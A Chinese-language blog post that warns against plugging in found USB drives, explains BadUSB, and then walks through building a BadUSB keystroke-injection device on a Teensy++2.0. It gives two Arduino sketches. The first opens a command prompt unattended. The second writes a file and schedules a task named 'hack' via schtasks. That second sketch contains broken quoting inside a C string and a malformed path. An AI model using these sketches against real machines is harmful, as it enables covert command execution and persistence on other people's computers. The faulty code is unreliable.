路邊撿到U盤?你會不會好奇的打開它——BadUSB

如果你在路邊撿到一個U盤,你會不會因為好奇而把它插到電腦上打開它?

路邊撿到U盤?你會不會好奇的打開它——BadUSB

U盤

如果這個U盤是有心人故意扔在那裡的,那麼你將為你的好奇心買單>﹏<。

路邊撿到U盤?你會不會好奇的打開它——BadUSB

2014年的黑帽大會上,BadUSB首次亮相。柏林SRLabs的安全研究人員Jakob Lell和獨立安全研究人員Karsten Nohl展示了他們稱為“BadUSB”(按照BadBIOS命名)的攻擊方法,這種攻擊方法讓USB安全和幾乎所有和USB相關的設備(包括具有USB端口的電腦)都陷入相當不值得信任的狀態。

BadUSB主要依靠USB拇指驅動器的構建方式,USB通常有一個大的可重寫的內存芯片用於實際的數據存儲,以及一個獨立的控制器芯片。這個控制芯片實際上是一個低功耗計算機,並且與你的筆記本電腦或臺式機一樣,它通過從內存芯片加載基本的引導程序來啟動。類似於筆記本電腦的硬盤驅動器包含一個隱藏的主引導記錄(Master Boot Record),內存芯片中內存單元的第一段包含讓USB記錄的編程。允許攻擊者在不被檢測到的情況下悄悄在USB設備中植入惡意軟件。

所以路上的撿到的U盤請記住不要隨便打開~

對製作BadUSB感興趣的童鞋可以繼續往下閱讀:

普通的U盤一般是不能製成BadUSB的,在這裡我推薦Teensy++2.0,某寶上有賣。

路邊撿到U盤?你會不會好奇的打開它——BadUSB

Teensy++2.0

這裡教大家使用Teensy++2.0製作BadUSB:

第一步 安裝Arduino。我這裡安裝1.8.0

下載地址:評論區

第二步 下載安裝Teensyduino,我這裡安裝1.34。

下載地址:評論區

路邊撿到U盤?你會不會好奇的打開它——BadUSB

安裝頁面

注意紅色框起來的是支持的Arduino版本。

第三步 可以插入Teensy++2.0開始搞事了

路邊撿到U盤?你會不會好奇的打開它——BadUSB

注意:漢化 file->preferences 選擇language為簡體中文 2.工具裡面要選

路邊撿到U盤?你會不會好奇的打開它——BadUSB

送份demo代碼:

代碼:


void setup(){ //初始化

Keyboard.begin();//開始鍵盤通信

delay(1000);//延時1000毫秒,不要太短,因為每天電腦的運行速度都不一樣

Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這裡我們最好這樣寫 不然大多數電腦在中文輸入的情況下就會出現問題

Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵

delay(500);

Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵

delay(500);

Keyboard.press('r');//按下r鍵

delay(500);

Keyboard.release(KEY_LEFT_GUI);//鬆掉win鍵

Keyboard.release('r');//鬆掉r鍵

//delay(500);

Keyboard.println("cmd");//輸入cmd進入DOS

delay(500);

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN); //釋放回車鍵

delay(500);

Keyboard.println("Hello Teensy++2.0");

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN); //釋放回車鍵

delay(500);

Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵

Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 我們再次關閉開啟的大寫鍵

delay(500);

Keyboard.println("exit");

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN); //釋放回車鍵

Keyboard.end();//結束鍵盤通訊

}

void loop()//循環,這裡的代碼

{

//循環體 寫入你要循環的代碼

}


再附一段代碼,在21點打開個txt

void setup(){ //初始化

Keyboard.begin();//開始鍵盤通信

delay(1000);//延時1000毫秒,不要太短,因為每天電腦的運行速度都不一樣

Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這裡我們最好這樣寫 不然大多數電腦在中文輸入的情況下就會出現問題

Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵

delay(500);

Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵

delay(500);

Keyboard.press('r');//按下r鍵

delay(500);

Keyboard.release(KEY_LEFT_GUI);//鬆掉win鍵

Keyboard.release('r');//鬆掉r鍵

//delay(500);

Keyboard.println("cmd");//輸入cmd進入DOS

delay(500);

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN); //釋放回車鍵

delay(500);

Keyboard.println("D:");

Keyboard.println("echo I'm back!>a.txt");

Keyboard.println("schtasks /create /tn "hack" /tr "d:a.txt" /sc once /st 21:12");

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN); //釋放回車鍵

delay(500);

Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵

Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 我們再次關閉開啟的大寫鍵

delay(500);

Keyboard.println("exit");

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN); //釋放回車鍵

Keyboard.end();//結束鍵盤通訊

}

void loop()//循環,這裡的代碼

{

//循環體 寫入你要循環的代碼

}


分享到:


相關文章: